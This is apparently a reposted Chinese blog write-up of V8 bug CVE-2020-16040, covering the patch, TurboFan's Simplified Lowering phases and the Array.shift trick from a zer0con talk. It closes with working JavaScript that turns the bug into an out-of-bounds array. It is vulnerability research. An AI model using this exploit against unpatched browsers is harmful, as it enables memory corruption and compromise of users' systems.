【技术干货】Chrome-V8-CVE-2020-16040

浏览器安全 3年前 (2021) admin
647 0 0

【技术干货】Chrome-V8-CVE-2020-16040

ddme @PortalLab实验室


【技术干货】Chrome-V8-CVE-2020-16040

这是zer0con2021上chrome exploitation议题对应的v8部分的漏洞,里面有一个在v8在改掉checkbound消除操作后的利用手法,即shift,下面是对应的commit。

环境搭建

【技术干货】Chrome-V8-CVE-2020-16040

env:  PATCH_FLAG: true  COMMIT: 1a37d561b2b51c23cd33bdcf4fc1670c404dcb8f  DEPOT_UPLOAD: false  SRC_UPLOAD: true  BINARY_UPLOAD: false

漏洞分析

这个漏洞发生在Simplified Lowering phase的VisitSpeculativeIntegerAdditiveOp函数中,关于turbofan的漏洞我目前接触到的都是通过各种方法使得turbofan把check map/check bound等节点消去,这样我们在对应位置的越界才能成功,再说明白点就是让turbofan对其一些估值偏低,当然这只是目前笔者刚入门所接触到的。

看下diff:

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.ccindex a1f10f9..ef56d56 100644--- a/src/compiler/simplified-lowering.cc+++ b/src/compiler/simplified-lowering.cc@@ -1409,7 +1409,6 @@                 IsSomePositiveOrderedNumber(input1_type)             ? CheckForMinusZeroMode::kDontCheckForMinusZero             : CheckForMinusZeroMode::kCheckForMinusZero;-     NodeProperties::ChangeOp(node, simplified()->CheckedInt32Mul(mz_mode));   }
@@ -1453,6 +1452,13 @@
Type left_feedback_type = TypeOf(node->InputAt(0)); Type right_feedback_type = TypeOf(node->InputAt(1));++ // Using Signed32 as restriction type amounts to promising there won't be+ // signed overflow. This is incompatible with relying on a Word32+ // truncation in order to skip the overflow check.+ Type const restriction =+ truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();+ // Handle the case when no int32 checks on inputs are necessary (but // an overflow check is needed on the output). Note that we do not // have to do any check if at most one side can be minus zero. For@@ -1466,7 +1472,7 @@ right_upper.Is(Type::Signed32OrMinusZero()) && (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) { VisitBinop<T>(node, UseInfo::TruncatingWord32(),- MachineRepresentation::kWord32, Type::Signed32());+ MachineRepresentation::kWord32, restriction); } else { // If the output's truncation is identify-zeros, we can pass it // along. Moreover, if the operation is addition and we know the@@ -1486,8 +1492,9 @@ UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), kIdentifyZeros); VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,- Type::Signed32());+ restriction); }+ if (lower<T>()) { if (truncation.IsUsedAsWord32() || !CanOverflowSigned32(node->op(), left_feedback_type,

那么这个洞的描述上就已经强调了其跳过check的原因,然后我们先来分析一遍SimplifiedLowering阶段吧,因为不分析看不懂,借此机会把此阶段完整分析一遍。

我们先来pipeline.cc 或者直接去Simplified-lowering.cc

//Simplified-lowering.cc:693 void Run(SimplifiedLowering* lowering) {    GenerateTraversal();    RunPropagatePhase(); //【1】    RunRetypePhase();    //【2】    RunLowerPhase(lowering); //【3】  }

在开头有这三个阶段的介绍。

// Representation selection and lowering of {Simplified} operators to machine// operators are interwined. We use a fixpoint calculation to compute both the// output representation and the best possible lowering for {Simplified} nodes.// Representation change insertion ensures that all values are in the correct// machine representation after this phase, as dictated by the machine// operators themselves.enum Phase {  // 1.) PROPAGATE: Traverse the graph from the end, pushing usage information  //     backwards from uses to definitions, around cycles in phis, according  //     to local rules for each operator.  //     During this phase, the usage information for a node determines the best  //     possible lowering for each operator so far, and that in turn determines  //     the output representation.  //     Therefore, to be correct, this phase must iterate to a fixpoint before  //     the next phase can begin.  PROPAGATE,
// 2.) RETYPE: Propagate types from type feedback forwards. RETYPE,
// 3.) LOWER: perform lowering for all {Simplified} nodes by replacing some // operators for some nodes, expanding some nodes to multiple nodes, or // removing some (redundant) nodes. // During this phase, use the {RepresentationChanger} to insert // representation changes between uses that demand a particular // representation and nodes that produce a different representation. LOWER};

总结一下就是:

  • propagating truncations: 反向数据流分析,传播truncation,并设置restriction_type

  • retyp: 正向数据流分析,重新计算类型,并设置representation

  • lower: 降级(lower)节点或者插入转换(conversion)节点

    解释下名词:

    • truncation 字面意思,指明该节点在使用的时候的截断信息

    • restriction_type 用于在retype的时候设置feedback_type

    • feedback_type 用于在Retype phase重新计算type信息

    • representation 节点retype完成之后最终的表示类型

    我们一个阶段一个阶段的看,turbofan中提供支持使得我们可以对这些阶段进行trace,对此我们可以拿poc过来。

    function foo(a) {  var y = 0x7fffffff;  // 2^31 - 1
    // Widen the static type of y (this condition never holds). if (a == NaN) y = NaN;
    // The next condition holds only in the warmup run. It leads to Smi // (SignedSmall) feedback being collected for the addition below. if (a) y = -1;
    const z = (y + 1)|0; return z < 0;}
    %PrepareFunctionForOptimization(foo);print(foo(true)); //true%OptimizeFunctionOnNextCall(foo);print(foo(false)); //if print false, bug exist

    我推荐读者在配过环境之后先跑一遍poc看是否能触发,以此检测环境是否配好,因为若是环境没配对那么浪费的时间将是毫无意义的。

    运行./d8 –allow-natives-syntax –trace-representation poc.js

    --{Propagate phase}-- visit #48: End (trunc: no-value-use)  initial #47: no-value-use visit #47: Return (trunc: no-value-use)  initial #44: truncate-to-word32  initial #55: no-truncation (but distinguish zeros)  initial #45: no-value-use  initial #36: no-value-use[ .... ]--{Retype phase}-- visit #44: NumberConstant  ==> output kRepTaggedSigned visit #14: NumberConstant  ==> output kRepTagged visit #52: NumberConstant  ==> output kRepTagged visit #0: Start  ==> output kRepTagged[ .... ]--{Lower phase}-- visit #44: NumberConstantdefer replacement #44:NumberConstant with #58:Int64Constant visit #14: NumberConstant visit #52: NumberConstant visit #0: Start[ .... ]

    可以看到对应阶段的很多细节都很详细的列出了Propagate phase是从下到上,另外两个是从上到下。

    源码分析

    Propagate Phase

    //simplified-lowering.cc:611  void RunPropagatePhase() {    TRACE("--{Propagate phase}--n");    ResetNodeInfoState();   //Clean up for the next phase.    DCHECK(revisit_queue_.empty());
    // Process nodes in reverse post order, with End as the root. for (auto it = traversal_nodes_.crbegin(); it != traversal_nodes_.crend(); ++it) { PropagateTruncation(*it); //调用
    while (!revisit_queue_.empty()) { //revisit不为空 Node* node = revisit_queue_.front(); //取出队首 revisit_queue_.pop(); //pop掉 PropagateTruncation(node); //对其再调用一次 } } }=================================================================== // Visits the node and marks it as visited. Inside of VisitNode, we might // change the truncation of one of our inputs (see EnqueueInput<PROPAGATE> for // this). If we change the truncation of an already visited node, we will add // it to the revisit queue. void PropagateTruncation(Node* node) { NodeInfo* info = GetInfo(node); info->set_visited(); TRACE(" visit #%d: %s (trunc: %s)n", node->id(), node->op()->mnemonic(), info->truncation().description()); VisitNode<PROPAGATE>(node, info->truncation(), nullptr); //对其visit一下,不同阶段不同实现 }

    首先可以看到他从crbegin到crend每个都visit了一下,在这个过程中,如果更改了一些已经visit后的节点的truncation ,就会把他加入revisit queue,并且在之后会在对其进行visit一次,我们找一下改truncation的部分。

    //PropagateTruncation()->Visitnode()->VisitSpeculativeIntegerAdditiveOp()  template <Phase T>  void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,                                         SimplifiedLowering* lowering) {    Type left_upper = GetUpperBound(node->InputAt(0));    Type right_upper = GetUpperBound(node->InputAt(1));[ .... ]      VisitBinop<T>(node, UseInfo::TruncatingWord32(),                    MachineRepresentation::kWord32, Type::Signed32());//设为Signed32[ .... ]===========================================================  // Helper for binops of the R x L -> O variety.  template <Phase T>  void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,                  MachineRepresentation output,                  Type restriction_type = Type::Any()) {    DCHECK_EQ(2, node->op()->ValueInputCount());    ProcessInput<T>(node, 0, left_use);    ProcessInput<T>(node, 1, right_use);    for (int i = 2; i < node->InputCount(); i++) {      EnqueueInput<T>(node, i);  //这里    }    SetOutput<T>(node, output, restriction_type);  //这里  }

    这两个标注出来的函数都是根据优化阶段的不同调用不同的实现,彼此之间差别较大

    • EnqueueInput 这个函数先从全局数组里取出node的指定index的输入节点对应的NodeInfo信息,然后调用AddUse来更新info的truncation_字段,从而将truncation反向传播。

    • SetOutput 对于propagate phase,它将更新节点对应的nodeinfo的restriction_type_,并用于后续的retype phase上。

        bool AddUse(UseInfo info) {      Truncation old_truncation = truncation_;      truncation_ = Truncation::Generalize(truncation_, info.truncation());      return truncation_ != old_truncation;    }======================================================   static Truncation Generalize(Truncation t1, Truncation t2) {    return Truncation(        Generalize(t1.kind(), t2.kind()),        GeneralizeIdentifyZeros(t1.identify_zeros(), t2.identify_zeros()));  }

    所以最终

    visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))  initial #45: truncate-to-word32  initial #44: truncate-to-word32 [ .... ] visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)  initial #39: no-truncation (but identify zeros)  initial #42: no-truncation (but identify zeros)  initial #22: no-value-use  initial #36: no-value-use

    反向传播截断信息的意义是比较容易就想通的,用结果的取值范围来确定运算数的取值范围,这样能减少不必要的运算,尤其是我们不止是以结果来确定,而是从根开始,走过结果的使用途径来最终确定的截断信息,那么这样如果我们只是要用到未8位的结果,那么我们用64位的数运算就没什么必要,完全可以简化一下提高效率。

    Retype phase

    前面反向传播截断信息后有必要再正向传播一次吗,应该没有这个必要,那我们下一步应该干什么呢?除了截断信息,还有feedback信息需要拿来供更换节点类型用,所以我们还要来一次feedback的信息传递,来为最后lower节点提供支持。

    // Forward propagation of types from type feedback to a fixpoint.  void RunRetypePhase() {    TRACE("--{Retype phase}--n");    ResetNodeInfoState();    DCHECK(revisit_queue_.empty());
    for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend(); ++it) { Node* node = *it; // Tries to update the feedback type of the node // Returns true if updating the feedback type is successful. if (!RetypeNode(node)) continue;
    auto revisit_it = might_need_revisit_.find(node); if (revisit_it == might_need_revisit_.end()) continue;
    for (Node* const user : revisit_it->second) { PushNodeToRevisitIfVisited(user); }
    // Process the revisit queue. while (!revisit_queue_.empty()) { Node* revisit_node = revisit_queue_.front(); revisit_queue_.pop(); if (!RetypeNode(revisit_node)) continue; // Here we need to check all uses since we can't easily know which // nodes will need to be revisited due to having an input which was // a revisited node. for (Node* const user : revisit_node->uses()) { PushNodeToRevisitIfVisited(user); } } } }================================================== bool RetypeNode(Node* node) { NodeInfo* info = GetInfo(node); info->set_visited(); bool updated = UpdateFeedbackType(node); //这里 TRACE(" visit #%d: %sn", node->id(), node->op()->mnemonic()); VisitNode<RETYPE>(node, info->truncation(), nullptr); TRACE(" ==> output %sn", MachineReprToString(info->representation())); return updated; }======================================================= bool UpdateFeedbackType(Node* node) { if (node->op()->ValueOutputCount() == 0) return false;
    // For any non-phi node just wait until we get all inputs typed. We only // allow untyped inputs for phi nodes because phis are the only places // where cycles need to be broken. if (node->opcode() != IrOpcode::kPhi) { for (int i = 0; i < node->op()->ValueInputCount(); i++) { if (GetInfo(node->InputAt(i))->feedback_type().IsInvalid()) { return false; } } }
    NodeInfo* info = GetInfo(node); Type type = info->feedback_type(); Type new_type = NodeProperties::GetType(node);
    // We preload these values here to avoid increasing the binary size too // much, which happens if we inline the calls into the macros below. Type input0_type; //对左右值输入节点调用FeedbackTypeOf if (node->InputCount() > 0) input0_type = FeedbackTypeOf(node->InputAt(0)); Type input1_type; if (node->InputCount() > 1) input1_type = FeedbackTypeOf(node->InputAt(1));[ .... ]
    #define DECLARE_CASE(Name) case IrOpcode::k##Name: { new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), info->restriction_type(), graph_zone()); break; } SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE) SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)#undef DECLARE_CASE[ .... ]==================================================================== Type FeedbackTypeOf(Node* node) { //判断是否有feedback字段被设置,有就用新的,没有用原本的 Type type = GetInfo(node)->feedback_type(); return type.IsInvalid() ? Type::None() : type; }

    我们可以看一下,UpdateFeedbackType 对输入的两值进行FeedbackTypeOf 操作然后后面会有一些宏操作,看看宏

    op_typer.Name(input0type, input1type)是将二者重新带入typer截断,计算出相应的type,之后获得的Range(0, 2147483648)将会和info->restriction_type()取交集,我们在上面将他的restriction_type设置为了Type::Signed32(在VisitSpeculativeIntegerAdditiveOp中设置的),也就是range(-2147483648,2147483647)

    最终就是将Range(0, 2147483648)和range(-2147483648,2147483647)取交集,最后得到了他的Feedback type: Range(0, 2147483647),之后通过set_feedback_type将这个type更新到nodeinfo的feedback_type字段上。

    同样在后面的其他一些涉及到的操作也会用到这一更改的类型,就比如SpeculativeNumberBitwiseOr

    我们看到这里应该能感觉到出问题的就是Signed32这个范围看diff也能看出其是在得到Signed32范围处做的改动,很显然是range(0,2147483647)出了问题,而打过补丁后变为了range(0,2147483648)

    Lower phase

    最后我们要从上往下,遍历节点,将节点通过之前确认的信息lower到更具体的表达

    > 当该节点的的output representation与此输入的预期使用信息不匹配时,对节点进行转换(插入ConvertInput),比如对于一个representation是kSigned的node1,若其use节点node2会将其truncation到kWord64,则将会插入ConvertInput函数对该节点进行转换。

      // Lowering and change insertion phase.  void RunLowerPhase(SimplifiedLowering* lowering) {    TRACE("--{Lower phase}--n");    for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();         ++it) {      Node* node = *it;      NodeInfo* info = GetInfo(node);      TRACE(" visit #%d: %sn", node->id(), node->op()->mnemonic());      // Reuse {VisitNode()} so the representation rules are in one place.      SourcePositionTable::Scope scope(          source_positions_, source_positions_->GetSourcePosition(node));      NodeOriginTable::Scope origin_scope(node_origins_, "simplified lowering",                                          node);      VisitNode<LOWER>(node, info->truncation(), lowering);    }
    // Perform the final replacements. for (NodeVector::iterator i = replacements_.begin(); i != replacements_.end(); ++i) { Node* node = *i; Node* replacement = *(++i); node->ReplaceUses(replacement); node->Kill(); // We also need to replace the node in the rest of the vector. for (NodeVector::iterator j = i + 1; j != replacements_.end(); ++j) { ++j; if (*j == node) *j = replacement; } } }

    对于poc里的z < 0,由于z的类型已经被更新到了(0, 2147483647),这个范围显然是在Unsigned32OrMinusZero里的,对于0就更不必说了,所以满足第一个if判断。

    //src/complier/simplified-lowering.cc:1991      case IrOpcode::kNumberLessThan:      case IrOpcode::kNumberLessThanOrEqual: {        Type const lhs_type = TypeOf(node->InputAt(0));        Type const rhs_type = TypeOf(node->InputAt(1));        // Regular number comparisons in JavaScript generally identify zeros,        // so we always pass kIdentifyZeros for the inputs, and in addition        // we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.        if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&            rhs_type.Is(Type::Unsigned32OrMinusZero())) {          // => unsigned Int32Cmp        //这里!!!          VisitBinop<T>(node, UseInfo::TruncatingWord32(),                        MachineRepresentation::kBit);          if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node)); [ ... ]

    于是最终将NumberLessThan节点给lower到了Uint32Op。

    但实际上z的值是-0x80000000,其被当成uint32解析的话就是+0x80000000,这个值显然大于0,所以结果为false。

    单是到这里的话,不禁产生疑问,我们怎么借此构建oob array呢,如果说是把大值误认为小我们还可以简单粗暴的越界改长度之类的,但是这是误把负数当无符号整数,那check bound还怎么消?看看前辈的做法。

    漏洞利用

    一个小trick

    arr.shift();

    这个函数是用来把数组中的第一个元素从其中删除,并返回第一个元素的值,如果数组是空的,那么此方法将不进行任何操作,返回undefined。

    function foo() {    // Type info of `len`:    // Real => 1    // Turbo => Range(-1, 0)    let arr = new Array(len);    arr.shift();}

    可以看到利用的前提就是有个range(-1,0)的值而其真实值为1的值。

    会议上的ppt都是用伪码描述的turbolizer生成图的,对应的各个阶段就是

    TFBytecodeGraphBuilder
    【技术干货】Chrome-V8-CVE-2020-16040


    let arr = JSConstruct("Array");JSCall(arr, "Shift");

    TFInlining

    涉及到的节点太多
    【技术干货】Chrome-V8-CVE-2020-16040
    标黄的基本都是在这一阶段从上面JSCall顺延下来的。
    【技术干货】Chrome-V8-CVE-2020-16040
    let arr = JSCreateArray(len);/* JSCallReducer::ReduceArrayPrototypeShift */let length = LoadField(arr, kLengthOffset);if (length == 0) {    return;} else {    if (length <= 100) {        DoShiftElementsArray(); // Don't care        /* Update length field */        let newLen = length - 1;        StoreField(arr, kLengthOffset, newLen);    } else /* length > 100 */ {        CallRuntime(ArrayShift);    }}
    TFTypedLowering

    JSCreateArray在TypedLowering phase被reduce后的IR

    【技术干货】Chrome-V8-CVE-2020-16040

    其中StoreField[+12]是对长度进行赋值。

    // JSCreateLowering::ReduceJSCreateArray // JSCreateLowering::ReduceNewArray let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]// len : Range(-1, 0), real: 1let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1let arr = Allocate(kArraySize); StoreField(arr, k[Map|Prop|Elem]Offset, ...);StoreField(arr, kLengthOffset, checkedLen);

    由于CheckBound的存在,本来做的range为(-1,0),和CheckBound范围(0,0)做交集,就成了(0,0),real没变还是1

    TFLoadElimination

    此阶段和上一阶段各有侧重,此阶段是对于一些赋值操作进行常量折叠等等。

    这里来自chrome exploitation解读:CVE-2020-16040漏洞分析与利用(https://www.anquanke.com/post/id/239996#h3-8)

    【技术干货】Chrome-V8-CVE-2020-16040

    可以看到对于偏移12处(length)的操作略有冗余,先store后load然后减1再load,所以在这一阶段会对其进行优化,优化之后的结果是将#154 CheckBounds 直接作为#133 NumberSubtract 的左值输入,之后因为CheckBound的范围是(0,0) ,是一个常量,而#44也是一个常量1,所以#133在其输入更新后,上方两处常量的运算也会被直接优化掉,将-1输入给134。

    【技术干货】Chrome-V8-CVE-2020-16040

    完整伪码

    let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]// len : Range(-1, 0), real: 1let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1let arr = Allocate(kArraySize); StoreField(arr, kMapOffset, map); StoreField(arr, kPropertyOffset, property); StoreField(arr, kElementOffset, element);StoreField(arr, kLengthOffset, checkedLen);
    let length = checkedLen;// length: Range(0, 0), real: 1if (length != 0) { if (length <= 100) { DoShiftElementsArray(); /* Update length field */ StoreField(arr, kLengthOffset, -1); //将-1写入length } else /* length > 100 */ { CallRuntime(ArrayShift); }}

    最终poc

    function foo(a) {  var y = 0x7fffffff;  if (a == NaN) y = NaN;   if (a) y = -1;  let z = (y + 1) + 0;  //Math.sign() 函数返回一个数字的符号, 指示数字是正数,负数还是零  //此函数共有5种返回值, 分别是 1, -1, 0, -0, NaN. 代表的各是正数, 负数, 正零, 负零, NaN  let l = 0 - Math.sign(z); //turbofan认为z是正数,实际为负数,固满足该trick的利用条件   let arr = new Array(l);  arr.shift();  return arr;}%PrepareFunctionForOptimization(foo);foo(true);%OptimizeFunctionOnNextCall(foo);// print(foo(false).length);var oob_arr = foo(false);print('oob_arr.length: '+oob_arr.length);
    var aaa = Array(0x200);
    print('oob_arr[15]: '+oob_arr[15]);

    【技术干货】Chrome-V8-CVE-2020-16040

    有越界数组之后就容易了,就不再演示了。

    参考

    chrome exploitation解读:CVE-2020-16040漏洞分析与利用

    (https://www.anquanke.com/post/id/239996)

    https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf

    往期 · 推荐


    【技术干货】Chrome-V8-CVE-2020-16040
    【技术干货】Chrome-V8-CVE-2020-16040
    【技术干货】Chrome-V8-CVE-2020-16040

    【技术干货】Chrome-V8-CVE-2020-16040


    【技术干货】Chrome-V8-CVE-2020-16040

    原文始发于微信公众号(星阑科技):【技术干货】Chrome-V8-CVE-2020-16040

    版权声明:admin 发表于 2021年12月15日 上午2:07。
    转载请注明:【技术干货】Chrome-V8-CVE-2020-16040 | CTF导航

    相关文章

    暂无评论

    您必须登录才能参与评论!
    立即登录
    暂无评论...